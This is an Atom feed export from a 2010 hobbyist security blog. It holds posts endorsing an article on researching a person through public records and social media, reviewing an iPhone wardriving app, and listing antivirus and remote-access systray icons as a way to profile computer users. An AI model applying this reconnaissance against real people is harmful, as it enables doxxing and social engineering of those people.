<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8213337712454680173</id><updated>2012-01-16T11:58:23.180Z</updated><category term='Breaking Encryption'/><category term='OSPF'/><category term='Tunneling'/><category term='eee'/><category term='Enumeration'/><category term='VLAN'/><category term='books'/><category term='Patching'/><category term='Podcasts'/><category term='Switch'/><category term='ICMP Fun'/><category term='Cisco'/><category term='Forensics'/><category term='Fun Stuff'/><category term='EIGRP'/><category term='Port Scanning'/><category term='Encryption'/><category term='Kismet'/><category term='Web-Browsing'/><category term='iphone'/><category term='SMTP'/><category term='PowerShell'/><category term='Password Audit'/><category term='Gaining Root'/><category term='CDP'/><category term='RADIUS'/><category term='Terminal Services'/><category term='WMIC'/><category term='Cyber-Fiction'/><category term='User Security'/><category term='Routing'/><category term='U3'/><category term='Dos'/><category term='Linux Commands'/><category term='Scanning'/><category term='MBSA'/><category term='SSH'/><category term='Eventlogs'/><category term='Backtrack'/><category term='Netcat'/><category term='Bob Story'/><category term='Metasploit'/><category term='Password Cracking'/><category term='Citrix'/><category term='Packet Sniffing'/><category term='USB'/><category term='NAT'/><category term='Malware'/><category term='Traffic Analysis'/><category term='RIP'/><category term='Penetration'/><category term='Port-Security'/><category term='Linux'/><category term='Random Thoughts'/><category term='Tools'/><category term='Reconnaissance'/><category term='Data-Recovery'/><category term='Packet Crafting'/><category term='Privilege Escalation'/><category term='WiFi'/><category term='Log Parser'/><category term='Password Recovery'/><category term='Google Hacking'/><category term='Hiding Data'/><title type='text'>Syn</title><subtitle type='html'>Adventures of a Security Junkie</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default?start-index=101&amp;max-results=100'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>133</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-4366099193749174167</id><published>2010-05-14T13:42:00.003+01:00</published><updated>2010-05-14T13:54:56.058+01:00</updated><title type='text'>Know Your Enemy</title><content type='html'>&lt;span class="Apple-style-span"  style=" line-height: 20px; font-size:medium;"&gt;&lt;span&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;I haven't posted for a bit because to be honest I haven't had much to say about security that might be interesting. I have been active on my &lt;a href="http://ciscobasics.blogspot.com/"&gt;Cisco Basics&lt;/a&gt; blog though for anyone interested in that type of thing. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" line-height: 20px;font-size:medium;"&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" line-height: 20px; font-size:medium;"&gt;&lt;span&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;br /&gt;I'll get to the point of this post though, recently I was emailed by a guy called Matt.  In his email Matt suggested maybe we bounce a few ideas off each other for future blog stuff. To me this sounded great as I needed something to motivate me to get posting again but as most security people know, we can be a pretty suspicious and paranoid bunch. So I did a little digging on Matt, nothing too much just the run of the mill Google Fu and a little Maltego. Once I'd satisfied myself that Matt was probably Matt I emailed back and we began to chat. As it turned out Matt really knows his stuff and his site &lt;a href="http://www.attackvector.org/"&gt;AttackVector&lt;/a&gt; is superb. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" line-height: 20px;font-size:medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 20px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span class="Apple-style-span"  style=" line-height: 20px;font-size:medium;"&gt;&lt;span class="Apple-style-span" style="line-height: normal; "&gt;&lt;a href="http://www.attackvector.org/"&gt;&lt;img src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S-1G1Arw1II/AAAAAAAABm4/2q5UtjO9vqA/s400/Screen+shot+2010-05-14+at+13.48.39.PNG" border="0" alt="" id="BLOGGER_PHOTO_ID_5471106998855586946" style="cursor: pointer; width: 400px; height: 261px; " /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="line-height: 20px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" line-height: 20px; font-size:medium;"&gt;&lt;span&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;br /&gt;The night before last I was reading Matt's article on &lt;a href="http://www.attackvector.org/?p=173"&gt;Invasion of Privacy&lt;/a&gt; and the reason I'm bringing to your attention is because it is hands down the best example of personal information gathering that I have read. Matt's subject was a spammer (what goes around comes around) but the same techniques that he describes can be employed against any target.  He uses DNS, Whois, Facebook, LinkedIn, Goggle and other easily accessible services to research his target and gather data that most people probably don't even realise is out there.  I strongly recommend that readers head over to Matt's site and check out his article called &lt;a href="http://www.attackvector.org/?p=173"&gt;Invasion of Privacy&lt;/a&gt; to see how it's really done.  &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style=" line-height: 20px;font-size:medium;"&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"   style="  line-height: 20px; font-family:'Marker Felt';font-size:medium;"&gt;&lt;span&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="font-family:georgia;"&gt;Truly scarey stuff!!!&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-4366099193749174167?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/4366099193749174167/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=4366099193749174167&amp;isPopup=true' title='10 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/4366099193749174167'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/4366099193749174167'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2010/05/know-your-enemy.html' title='Know Your Enemy'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_vZAp7b1QDw8/S-1G1Arw1II/AAAAAAAABm4/2q5UtjO9vqA/s72-c/Screen+shot+2010-05-14+at+13.48.39.PNG' height='72' width='72'/><thr:total>10</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-1745453062405145725</id><published>2010-03-03T19:55:00.009Z</published><updated>2010-03-04T22:02:57.589Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='iphone'/><title type='text'>WiFi Analyzer - Another Great App For The Wifi Toolbox</title><content type='html'>Every now and then I come across a iPhone app that has some of the features that my ultimate &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;wardriving&lt;/span&gt; app would have. &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;Wifi&lt;/span&gt; analyzer is no different, it hasn't got all of my &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;wishlist&lt;/span&gt; features but it certainly has a few.&lt;br /&gt;&lt;br /&gt;The features I'm talking about are useful from a &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;wardriving&lt;/span&gt; perspective but even more useful for siting my Access Point or when trying to find to get the best signal.  Another use would be when tracking down that rogue access point that I might have detected.&lt;br /&gt;&lt;br /&gt;When firing up &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;WiFi&lt;/span&gt; Analyzer I'm presented with a list of Access Points, the signal strength and the encryption in use.  This is all pretty standard stuff that all my other &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;WiFi&lt;/span&gt; apps do.&lt;br /&gt;&lt;br /&gt;&lt;img src="file:///Users/syn/Library/Caches/TemporaryItems/moz-screenshot.png" alt="" /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/S47BeLeQp6I/AAAAAAAABkw/h5nvfKlrLE4/s1600-h/IMG_0264.PNG"&gt;&lt;img style="cursor: pointer; width: 267px; height: 400px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/S47BeLeQp6I/AAAAAAAABkw/h5nvfKlrLE4/s400/IMG_0264.PNG" alt="" id="BLOGGER_PHOTO_ID_5444501723757455266" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I can drill down into the individual Access Points but what I really like is being able to select an Access Point and home in on it by signal strength.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/S47Bet2-zGI/AAAAAAAABlA/WmkIAbvxLNM/s1600-h/IMG_0266.PNG"&gt;&lt;img style="cursor: pointer; width: 267px; height: 400px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/S47Bet2-zGI/AAAAAAAABlA/WmkIAbvxLNM/s400/IMG_0266.PNG" alt="" id="BLOGGER_PHOTO_ID_5444501732987948130" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Here I can easily see when I am getting the best signal as I move around. This also makes pinpointing those rogue Access Points a piece of cake.&lt;br /&gt;&lt;br /&gt;Another feature I really like with &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;Wifi&lt;/span&gt; Analyzer is the graph feature.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S47EXrkwWUI/AAAAAAAABlQ/MGE1QWIuV_0/s1600-h/IMG_0263.PNG"&gt;&lt;img style="cursor: pointer; width: 400px; height: 267px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S47EXrkwWUI/AAAAAAAABlQ/MGE1QWIuV_0/s400/IMG_0263.PNG" alt="" id="BLOGGER_PHOTO_ID_5444504910650431810" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Here I can see overlapping networks and I'll be able to make educated decisions on the selection of the channel to use for my AP to prevent interference from neighbors AP's.  Alternatively I could use &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;WiFi&lt;/span&gt; Analyzers &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_8"&gt;recommendations&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S47BevdhnTI/AAAAAAAABlI/MZc_GX6Tzow/s1600-h/IMG_0267.PNG"&gt;&lt;img style="cursor: pointer; width: 267px; height: 400px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S47BevdhnTI/AAAAAAAABlI/MZc_GX6Tzow/s400/IMG_0267.PNG" alt="" id="BLOGGER_PHOTO_ID_5444501733418048818" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;All in all a pretty handy tool to add to your iPhone toolbox in my opinion.&lt;br /&gt;&lt;br /&gt;UPDATE:  Apple have removed this and the other wardriving apps from the app store. The bunch of dicks!!!!!&lt;br /&gt;&lt;br /&gt;Oh well, jailbreaking looks all the more tempting now.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8213337712454680173-1745453062405145725?l=synjunkie.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://synjunkie.blogspot.com/feeds/1745453062405145725/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8213337712454680173&amp;postID=1745453062405145725&amp;isPopup=true' title='15 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/1745453062405145725'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8213337712454680173/posts/default/1745453062405145725'/><link rel='alternate' type='text/html' href='http://synjunkie.blogspot.com/2010/03/wifi-analyzer-another-great-app-for.html' title='WiFi Analyzer - Another Great App For The Wifi Toolbox'/><author><name>SynJunkie</name><uri>http://www.blogger.com/profile/01249134797038027437</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_vZAp7b1QDw8/ScYc8FwNqTI/AAAAAAAABEw/ZFgShqSU9HI/S220/Photo+6.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_vZAp7b1QDw8/S47BeLeQp6I/AAAAAAAABkw/h5nvfKlrLE4/s72-c/IMG_0264.PNG' height='72' width='72'/><thr:total>15</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8213337712454680173.post-5240637738561601783</id><published>2010-02-01T22:34:00.021Z</published><updated>2010-04-21T22:07:30.268+01:00</updated><title type='text'>Systray Recognition System</title><content type='html'>Impressive title eh.  Well okay I'll admit it, the system is effectively this blog post and your ability to inconspicuously squint as you take in all the systray icons on other peoples computers.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;What's the Systray?&lt;/b&gt;&lt;br /&gt;The Systray is the area on the windows taskbar near the clock, properly referred to as the Notification Area I think.  Often installed programs will display a small icon here indicating that they are running and the icon may change depending on the state of the program. It's important that attention is paid to the subtle differences in the icons, for example, a slight colour change may indicate that a program is running or not running.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Why blog about this?&lt;/b&gt;&lt;br /&gt;Well I'm always checking out other peoples systray icons and wondering what programs they represent.  After not having much luck with finding a good list on the web to refer to I thought I would create one. I have set myself a goal of seeing how many icons I can get in the list within the month of February.  I'll continue to add new ones after that but this will be my focus in February because I'm going to be quite busy at work and I'm studying for an exam at the end of the month.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Why is the relevance to security?&lt;/b&gt;&lt;br /&gt;Recognising systray icons will not only tell you about the software installed and the state of that software (running, not running, enabled, disabled, version etc...) but will also tell you about the person using the computer (Geek, salesman, lazy, Hax0r etc...) and we all know that smart hackers hack people not just computers.   Systray icons will also tell you if that person is connected back to the office, if they are running encryption software etc...  These are all the things that i'm interested in and I imagine some people reading my blog are interested in as well.  If you need any further convincing I suggest you watch Johnny Longs excellent "&lt;a href="http://video.google.co.uk/videoplay?docid=-2160824376898701015&amp;amp;ei=mFdnS46vNYvL-Abb7ZzvDA&amp;amp;q=jonny+long&amp;amp;hl=en&amp;amp;client=firefox-a"&gt;No Tech Hacking&lt;/a&gt;" presentation.&lt;br /&gt;&lt;br /&gt;Any comments, suggestions, corrections or submissions will be greatly appreciated. So lets bring on the icons!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Remote Management&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2daJUjNjdI/AAAAAAAABcE/KbmYLS3dbNw/s1600-h/43fe051d6965c7d41b3902eea72b4de8.png"&gt;&lt;img style="cursor: pointer; width: 20px; height: 18px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2daJUjNjdI/AAAAAAAABcE/KbmYLS3dbNw/s320/43fe051d6965c7d41b3902eea72b4de8.png" alt="" id="BLOGGER_PHOTO_ID_5433410591627513298" border="0" /&gt;&lt;/a&gt; VNC server -Not connected&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/S2dbLVSC8uI/AAAAAAAABck/qc1g5-84m7o/s1600-h/6251f737034e406d3157dd0c6f3b5a02.png"&gt;&lt;img style="cursor: pointer; width: 21px; height: 24px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/S2dbLVSC8uI/AAAAAAAABck/qc1g5-84m7o/s320/6251f737034e406d3157dd0c6f3b5a02.png" alt="" id="BLOGGER_PHOTO_ID_5433411725695316706" border="0" /&gt;&lt;/a&gt; VNC Server - Connected&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S3x_I-aVvsI/AAAAAAAABhw/2LWB5qIGcr0/s1600-h/RLA.png"&gt;&lt;img style="cursor: pointer; width: 19px; height: 22px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S3x_I-aVvsI/AAAAAAAABhw/2LWB5qIGcr0/s400/RLA.png" alt="" id="BLOGGER_PHOTO_ID_5439362242125872834" border="0" /&gt;&lt;/a&gt; Remotely Anywhere&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/S89o0_QlvFI/AAAAAAAABmQ/H86156xUQSE/s1600/Screen+shot+2010-04-21+at+22.03.24.PNG"&gt;&lt;img style="cursor: pointer; width: 17px; height: 15px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/S89o0_QlvFI/AAAAAAAABmQ/H86156xUQSE/s400/Screen+shot+2010-04-21+at+22.03.24.PNG" alt="" id="BLOGGER_PHOTO_ID_5462700132567202898" border="0" /&gt;&lt;/a&gt; Logmein&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b style="font-weight: bold;"&gt;Anti-Virus&lt;/b&gt;&lt;span style="font-weight: bold;"&gt; / Security&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2dc7H1G78I/AAAAAAAABdk/eX4m66J68-c/s1600-h/765af388c9c9b1604592b6d30250641b.png"&gt;&lt;img style="cursor: pointer; width: 21px; height: 21px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2dc7H1G78I/AAAAAAAABdk/eX4m66J68-c/s320/765af388c9c9b1604592b6d30250641b.png" alt="" id="BLOGGER_PHOTO_ID_5433413646229630914" border="0" /&gt;&lt;/a&gt; Avira - running&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2dfvp0Ug-I/AAAAAAAABek/Pr2o20eHnTs/s1600-h/b6f2ad272acea2979faa006ba0a4d231.png"&gt;&lt;img style="cursor: pointer; width: 20px; height: 20px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2dfvp0Ug-I/AAAAAAAABek/Pr2o20eHnTs/s320/b6f2ad272acea2979faa006ba0a4d231.png" alt="" id="BLOGGER_PHOTO_ID_5433416747729585122" border="0" /&gt;&lt;/a&gt; Avira - Not Running&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S2dc65O2KaI/AAAAAAAABdc/6fo9nPNlMu4/s1600-h/6f62c70697e6c9f72496e63badb5ebdf.png"&gt;&lt;img style="cursor: pointer; width: 20px; height: 20px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S2dc65O2KaI/AAAAAAAABdc/6fo9nPNlMu4/s320/6f62c70697e6c9f72496e63badb5ebdf.png" alt="" id="BLOGGER_PHOTO_ID_5433413642311051682" border="0" /&gt;&lt;/a&gt; McAffee&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S3x_IZjcDjI/AAAAAAAABhg/2xeLbt-z8J4/s1600-h/mca.png"&gt;&lt;img style="cursor: pointer; width: 19px; height: 20px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S3x_IZjcDjI/AAAAAAAABhg/2xeLbt-z8J4/s400/mca.png" alt="" id="BLOGGER_PHOTO_ID_5439362232231923250" border="0" /&gt;&lt;/a&gt; McAfee On Access Scanner&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/S2dfJd0nYBI/AAAAAAAABeE/SQee_n328eY/s1600-h/06432d68a36048eb7b9b60179bfded16.png"&gt;&lt;img style="cursor: pointer; width: 20px; height: 20px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/S2dfJd0nYBI/AAAAAAAABeE/SQee_n328eY/s320/06432d68a36048eb7b9b60179bfded16.png" alt="" id="BLOGGER_PHOTO_ID_5433416091674566674" border="0" /&gt;&lt;/a&gt; Norton&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2dhExsvYYI/AAAAAAAABe8/KBTRST_3nbg/s1600-h/8d225c9f5a345bf592de724463f4b0aa.png"&gt;&lt;img style="cursor: pointer; width: 20px; height: 18px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2dhExsvYYI/AAAAAAAABe8/KBTRST_3nbg/s320/8d225c9f5a345bf592de724463f4b0aa.png" alt="" id="BLOGGER_PHOTO_ID_5433418210134155650" border="0" /&gt;&lt;/a&gt; Sophos - Running&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2dhFTfpN8I/AAAAAAAABfM/0WDF6lOAdYI/s1600-h/a34d16f9ecb63ffc7aa17af72f7996bf.png"&gt;&lt;img style="cursor: pointer; width: 21px; height: 19px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2dhFTfpN8I/AAAAAAAABfM/0WDF6lOAdYI/s320/a34d16f9ecb63ffc7aa17af72f7996bf.png" alt="" id="BLOGGER_PHOTO_ID_5433418219206031298" border="0" /&gt;&lt;/a&gt; Sophos - Out of date&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/S2dhwyFhBCI/AAAAAAAABfU/cpQ-jhNi7sM/s1600-h/a4969db55a8ce110f6433fe37d2bb0e9.png"&gt;&lt;img style="cursor: pointer; width: 19px; height: 18px;" src="http://2.bp.blogspot.com/_vZAp7b1QDw8/S2dhwyFhBCI/AAAAAAAABfU/cpQ-jhNi7sM/s320/a4969db55a8ce110f6433fe37d2bb0e9.png" alt="" id="BLOGGER_PHOTO_ID_5433418966152315938" border="0" /&gt;&lt;/a&gt; Sophos - Disabled&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2dhEWnxrcI/AAAAAAAABe0/uCVqoqLcdxg/s1600-h/0d159b3b9dd765c58c647c203528110d.png"&gt;&lt;img style="cursor: pointer; width: 18px; height: 19px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2dhEWnxrcI/AAAAAAAABe0/uCVqoqLcdxg/s320/0d159b3b9dd765c58c647c203528110d.png" alt="" id="BLOGGER_PHOTO_ID_5433418202865577410" border="0" /&gt;&lt;/a&gt;  AVG - old version&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S3x9X8n1WII/AAAAAAAABhI/DIaFJOK_49k/s1600-h/AVG+Icon+1.bmp"&gt;&lt;img style="cursor: pointer; width: 21px; height: 21px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S3x9X8n1WII/AAAAAAAABhI/DIaFJOK_49k/s400/AVG+Icon+1.bmp" alt="" id="BLOGGER_PHOTO_ID_5439360300320381058" border="0" /&gt;&lt;/a&gt; AVG - V 8.5&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/S3x9YfEFLzI/AAAAAAAABhQ/WHfM26AGZ-w/s1600-h/AVG+Icon+2.bmp"&gt;&lt;img style="cursor: pointer; width: 19px; height: 19px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/S3x9YfEFLzI/AAAAAAAABhQ/WHfM26AGZ-w/s400/AVG+Icon+2.bmp" alt="" id="BLOGGER_PHOTO_ID_5439360309565665074" border="0" /&gt;&lt;/a&gt; AVG - V 8.5 - Outdated / Connection failed&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S4WdEHvj9BI/AAAAAAAABjA/HMIxVKhia1A/s1600-h/Screen+shot+2010-02-24+at+21.39.17.PNG"&gt;&lt;img style="cursor: pointer; width: 23px; height: 22px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S4WdEHvj9BI/AAAAAAAABjA/HMIxVKhia1A/s400/Screen+shot+2010-02-24+at+21.39.17.PNG" alt="" id="BLOGGER_PHOTO_ID_5441928418870686738" border="0" /&gt;&lt;/a&gt; AVG - Running&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_vZAp7b1QDw8/S4WdEcqMxVI/AAAAAAAABjI/hKFqbqnexnA/s1600-h/Screen+shot+2010-02-24+at+21.40.13.PNG"&gt;&lt;img style="cursor: pointer; width: 20px; height: 20px;" src="http://1.bp.blogspot.com/_vZAp7b1QDw8/S4WdEcqMxVI/AAAAAAAABjI/hKFqbqnexnA/s400/Screen+shot+2010-02-24+at+21.40.13.PNG" alt="" id="BLOGGER_PHOTO_ID_5441928424485340498" border="0" /&gt;&lt;/a&gt; AVG - Paused&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2dhxzRL-DI/AAAAAAAABfk/elA2u3mO4sw/s1600-h/ef0be008419bac6fde73e9216f748e74.png"&gt;&lt;img style="cursor: pointer; width: 18px; height: 20px;" src="http://4.bp.blogspot.com/_vZAp7b1QDw8/S2dhxzRL-DI/AAAAAAAABfk/elA2u3mO4sw/s320/ef0be008419bac6fde73e9216f748e74.png" alt="" id="BLOGGER_PHOTO_ID_5433418983649572914" border="0" /&gt;&lt;/a&gt; Kaspersky&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_vZAp7b1QDw8/S3XRh7uwFYI/AAAAAAAABgQ/Gjg9uyqrMkw/s1600-h/avast.png"&gt;&lt;img style="cursor: pointer; width: 19px; height: 19px;" src="http://3.bp.blogspot.com/_vZAp7b1QDw8/S3XRh7uwFYI/AAAAAAAABgQ/Gjg9uyqrMkw/s320/avast.png" alt="" id="BLOGGER_PHOTO_ID_5437482506019411330" border="0" /&gt;&lt;/a&gt; Avast&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_vZAp7b1QDw8/S4WGapqccmI/AAAAAAAABio/_z3ilHLTSrI/s1600-h/Screen+shot+2010-02-24+at+20.03.07.PNG"&gt;&lt;img style="cursor: pointer; width: 23px; height: 21px;" 